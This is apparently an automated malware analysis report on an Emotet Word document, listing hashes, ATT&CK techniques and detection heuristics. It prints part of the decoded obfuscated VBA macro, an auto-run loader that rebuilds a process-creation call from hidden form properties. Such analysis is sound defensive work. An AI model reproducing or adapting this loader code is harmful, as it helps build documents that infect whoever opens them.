Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d1471ba011dbddb8…

MALICIOUS

Office (OLE)

216.3 KB Created: 2020-08-27 06:38:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 60c75628f7aa95b2bd7178631241b149 SHA-1: 14273be13011405c414f5c85cfa2473ac161019a SHA-256: d1471ba011dbddb8345e6f8e2d2fadfd0bce5b7ddbff48ef2a343c5329aa63a3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' further supports this attribution. The VBA script appears to be heavily obfuscated but the presence of auto-execution and object creation functions suggests it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9268 bytes
SHA-256: 5ec1ced2619c8dac0737b0b4bdb4b37d3c30994579588af047a371cb339e391a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "X7f7y8lz5wrxykg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Xfvfl9y3r3a7drn.A41_7qsfezqau645rk
End Sub


Attribute VB_Name = "Xfvfl9y3r3a7drn"
Attribute VB_Base = "0{2C75238D-5E5A-4E5B-9FAF-1E82E1EAF4DC}{A88782CB-2258-409B-9C14-E61DF6603BD7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function A41_7qsfezqau645rk()
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
T9jhzl0sgkaic7jl5i = 100
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Tu913h3u9kek_ypwg = ChrW(T9jhzl0sgkaic7jl5i + (xw + 5 + jwb + 10))
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Cpmp6nl2uyqnhxs = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + Tu913h3u9kek_ypwg + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + Xfvfl9y3r3a7drn.Jhwog4kzmzuqx4j0 + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
F8z3dqgxf6ve4t24 = Yjfpz9lmr60r(Cpmp6nl2uyqnhxs)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
U3w1_dkd3jfq5h93k = Xfvfl9y3r3a7drn.Xjxs3xpkt6z8l7g.ControlTipText
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - AWdYTT5J0 / Oct(812 + Sqr(hxS)))
         wwwwww = (MpBQ + Round(pxer0) / 70 / Hex(1614 - CLng(40679596)) - 9 + CBool(efCF1u1)) * BgJh - Fgwld45m6
Zqkoc6bx9ehd3 = Ajzopbnwnewnhalk_6 + (F8z3dqgxf6ve4t24 + Tu913h3u9kek_ypwg + Xfvfl9y3r3a7drn.Stys_mfadoyzh2a.ControlTipText + U3w1_dkd3jfq5h93k)
   On Error Resume Next
         wwwwww = Zyrc / Sin(ULZZ9) * BmtF * pLiA30s + jazi + PhzY / TpZa1L / 830 * (DdY / CLng(zTHb2251X) - A
... (truncated)

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